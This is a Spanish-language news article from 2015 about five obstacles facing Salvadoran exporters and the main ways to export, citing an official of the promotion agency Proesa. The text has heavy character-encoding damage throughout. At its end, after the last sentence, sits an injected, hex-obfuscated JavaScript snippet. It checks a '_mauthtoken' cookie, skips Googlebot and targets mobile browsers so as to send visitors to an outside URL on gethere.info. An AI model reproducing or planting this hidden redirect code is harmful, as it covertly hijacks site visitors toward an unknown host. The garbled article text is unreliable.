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12 Oct 2015
Noticias | Por: Redacción

Los cinco factores que limitan las exportaciones desde El Salvador

Las normas del paAi??s al que se va a exportar, enfrentarse a una marca mA?s grande y las restricciones de algunos Estados a ciertos productos o procesos, son los principales factores que limitan las exportaciones de empresarios salvadoreAi??os hacia mercados internacionales.

SegA?n el Organismo Promotor de Exportaciones e Inversiones de El Salvador (Proesa), las exportaciones han crecido en los A?ltimos aAi??os, asAi?? como las empresas que han mostrado sus intenciones de internacionalizar sus productos. Sin embargo, aunque hay muchos mercados potenciales y productos de gran demanda, lo cierto es que exportar a otros paAi??ses no es tan sencillo como parece. Aun asAi??, dicha instituciA?n considera que es importante arriesgarse, siempre y cuando se estAi?? en la capacidad de atender producciones grandes y clientes exigentes.

De acuerdo con Carlos Federico Paredes, director de Exportaciones de dicha instituciA?n, ai???lo mA?s difAi??cil es tener un pedido, asAi?? como tenAi??s pedidos del mercado local; de ahAi?? vas a tener que ir cumpliendo con los requisitos para poder enviar tus productos: permisos, papeleos, certificaciones, autorizaciones, registros de salud, la logAi??stica que vas a seguir. Depende del tipo de producto a exportar asAi?? serA? la tramitaciA?n a seguir y las instituciones con las que te vas a relacionar. Todo esto lleva un proceso que si no lo conocAi??s te vas a quedar estancado, incluso si no tenAi??s la capacidad de atender una producciA?n de un pedido grande, en lugar de ayudarte a crecer puede llevarte a la quiebraai???, reitera el especialista, quien identifica cinco aspectos esenciales con los que se encuentran los exportadores.

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  • Defensa de la norma de origen

Las normas de origen son esenciales en el comercio internacional, ya que muchas polAi??ticas e instrumentos comerciales varAi??an en funciA?n del paAi??s de origen: desde las medidas deAi?? defensa comercial a los contingentes hasta los derechos arancelarios. Las normas de origen son importantes en los acuerdos comerciales donde la determinaciA?n del origen de un producto permitirA? su acceso al trato arancelario preferencial.

  • Defensa de la clasificaciA?n correcta arancelaria

Esto tiene que ver con dos caracterAi??sticas principalmente. SegA?n el director de Exportaciones de Proesa, este tipo de clasificaciA?n se refiere a la selecciA?n de ai???mercancAi??as objeto de comercio internacional; se emplea para designar el cA?digo utilizado en una operaciA?n de importaciA?n o de exportaciA?n mediante cual las autoridades asignan dicho cA?digo y los usuarios conocen los impuestos, derechos, regulaciones no arancelarias, entre otros aspectos. Defender la clasificaciA?n arancelaria permite que los exportadores no paguen mA?s de lo que deberAi??anai???.

  • Defensa de la propiedad intelectual de la marca

Muchas veces salimos con nuestros productos con una marca al exterior y resulta que hay otro por allA?, en otro paAi??s, que tiene una marca parecida o igual, entonces nos la disputa y nos quita la marca. Nosotros ya hemos registrado nuestra marca, pero muchas veces no tenemos la capacidad para defenderla. AsAi?? que fortalecerse para lograr la defensa de la propiedad intelectual de la marca es un gran reto en este mundo globalizado.

  • Defenderse contra el dumping

ai???Es decir, cuando otros productores producen a costos de producciA?n muy por debajo de lo que realmente cuestan los insumos que dicho productor utiliza en su proceso. Y esto lo hace porque Ai??l ya tiene presencia en el mercado, porque tiene economAi??a de escala y capacidad para aguantar menores mA?rgenes de utilidad e incluso pAi??rdidas, pero al ser un exportador nuevo o un empresario nuevo no estA?s en la capacidad de eso. Si nos obligan a competir con precios que estA?n por debajo de los costos de producciA?n, prA?cticamente nos pueden colocar en situaciA?n de quiebra.

  • Las restricciones en el acceso a los mercados

Por ejemplo, una de las mayores razones de rechazos que tenemos a nuestros productos en Estados Unidos tiene que ver con el etiquetado. Porque la etiqueta debe llevar, de acuerdo a las caracterAi??sticas de cada mercado, el peso neto, el contenido del producto, la descripciA?n de los insumos para elaborar ese producto, la marca del producto y el lenguaje del mercado al que va destinado, ademA?s del espaAi??ol. El tema de la viAi??eta es un tema fundamental para los exportadores, pero es uno de los motivos por los que suelen rechazar nuestros productos.

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Las diferentes modalidades de exportaciA?n

De acuerdo con el Organismo Promotor de Exportaciones e Inversiones de El Salvador, existen diferentes modalidades por las cuales un exportar puede internacionalizar sus productos:

  • Acceso directo: vendedores propios, comercio electrA?nico, entre otros.
  • Comercio en mercado destino: establecer una empresa en el paAi??s destino a travAi??s de filiales, sucursales de comercializaciA?n o fabricaciA?n.
  • Acceso indirecto: a travAi??s de intermediarios como distribuidores, mayoristas, etc.
  • Acceso concertado o agrupado: consorcios, joint-ventures, licencias, franquicias.
  • ExportaciA?n indirecta: venta en mercado local a una empresa que exporta a un cliente en el exterior.

Si querAi??s conocer mA?s de este tema o estA?s interesado en volverte un exportador, aquAi?? podAi??s consultar mA?s informaciA?n, asAi?? como procesos, requerimientos y proyectos de apoyo al exportador.

LeAi?? mA?s sobre exportaciones.Ai??var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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